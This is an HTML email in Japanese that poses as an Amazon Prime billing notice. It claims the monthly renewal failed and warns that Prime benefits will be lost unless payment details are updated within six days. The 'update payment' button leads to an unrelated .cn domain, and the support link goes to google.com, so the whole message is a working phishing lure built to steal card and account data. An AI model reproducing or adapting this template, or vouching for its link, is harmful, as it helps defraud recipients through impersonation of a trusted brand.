<style>body {
font-family: 'Helvetica Neue', 'Hiragino Sans', 'Hiragino Kaku Gothic ProN', Arial, sans-serif;
line-height: 1.6;
color: #232F3E;
background-color: #F2F3F3;
margin: 0;
padding: 0;
}
.email-container {
max-width: 600px;
margin: 20px auto;
background: white;
border-radius: 8px;
overflow: hidden;
box-shadow: 0 4px 12px rgba(0,0,0,0.08);
}
.header {
background-color: #131A22;
padding: 25px;
text-align: center;
}
.logo {
height: 32px;
}
.content {
padding: 30px;
}
.status-badge {
background-color: #E7211A;
color: white;
padding: 8px 15px;
border-radius: 20px;
font-size: 14px;
font-weight: bold;
display: inline-block;
margin-bottom: 20px;
}
h1 {
color: #131A22;
font-size: 22px;
margin-top: 0;
margin-bottom: 20px;
}
.problem-card {
background-color: #FFF1F0;
border-left: 4px solid #E7211A;
padding: 18px;
margin: 25px 0;
border-radius: 0 4px 4px 0;
}
.action-card {
background-color: #F0F7FF;
border: 1px solid #D4E6F7;
border-radius: 6px;
padding: 20px;
margin: 30px 0;
}
.cta-button {
display: block;
background-color: #FF9900;
color: white;
text-align: center;
padding: 16px;
border-radius: 6px;
text-decoration: none;
font-weight: bold;
margin: 25px 0;
transition: all 0.2s;
}
.cta-button:hover {
background-color: #E88A00;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(255,153,0,0.2);
}
.reason-grid {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 12px;
margin: 20px 0;
}
.reason-item {
display: flex;
align-items: center;
}
.reason-icon {
color: #E7211A;
margin-right: 10px;
font-weight: bold;
}
.benefits-list {
margin: 25px 0;
}
.benefit-item {
display: flex;
align-items: center;
margin-bottom: 12px;
}
.benefit-icon {
color: #FF9900;
margin-right: 10px;
}
.footer {
background-color: #131A22;
color: #DDDDDD;
padding: 25px;
text-align: center;
font-size: 12px;
}
.divider {
height: 1px;
background-color: #DDDDDD;
margin: 25px 0;
}
@media (max-width: 480px) {
.reason-grid {
grid-template-columns: 1fr;
}
.content {
padding: 20px;
}
}</style> <div class="email-container"><div class="header"><img class="logo" alt="Amazon" src="https://www.amazon.co.jp/favicon.ico" /> </div><div class="content"><div class="status-badge">支払い未完了</div><h1>プライム会費の自動更新に失敗しました</h1><p>Amazonプライム メンバー様</p><p>いつもAmazonプライムをご利用いただきありがとうございます。</p><div class="problem-card"><p>お客様のアカウントで、プライム月額会費(600円)の自動更新処理が完了できませんでした。</p><p>このままではプライム特典がご利用いただけなくなる可能性があります。</p></div><div class="action-card"><h3>必要なアクション</h3><p>6日以内にお支払い方法を更新してください。</p><a class="cta-button" href="https://aeegbz.cn/RgyrgV">お支払い方法を更新する</a> </div><h3>考えられる原因</h3><div class="reason-grid"><div class="reason-item"><span c
lass="reason-icon">•</span> <span>クレジットカードの有効期限切れ</span> </div><div class="reason-item"><span class="reason-icon">•</span> <span>カードの利用限度額超過</span> </div><div class="reason-item"><span class="reason-icon">•</span> <span>カード情報の誤り</span> </div><div class="reason-item"><span class="reason-icon">•</span> <span>カード会社の承認拒否</span> </div></div><div class="divider"></div><h3>このままでは以下の特典が利用できなくなります</h3><div class="benefits-list"><div class="benefit-item"><span class="benefit-icon">✓</span> <span>お急ぎ便・日時指定便の無料配送</span> </div><div class="benefit-item"><span class="benefit-icon">✓</span> <span>Prime Video(映画・TV番組見放題)</span> </div><div class="benefit-item"><span class="benefit-icon">✓</span> <span>Prime Music(200万曲以上聴き放題)</span> </div><div class="benefit-item"><span class="benefit-ico
n">✓</span> <span>Prime Reading(本・雑誌読み放題)</span> </div></div><p>引き続きAmazonプライムをご利用いただくため、お早めのご対応をお願いいたします。</p></div><div class="footer">Amazonプライム サポートチーム<br />Amazon.co.jp<br /><br />本メールは送信専用アドレスから送信されています。<br />ご不明な点は<a style="COLOR: rgb(255,153,0)" href="https://google.com">カスタマーサービス</a>までお問い合わせください。 </div></div><pre style="TOP: 0px"></pre>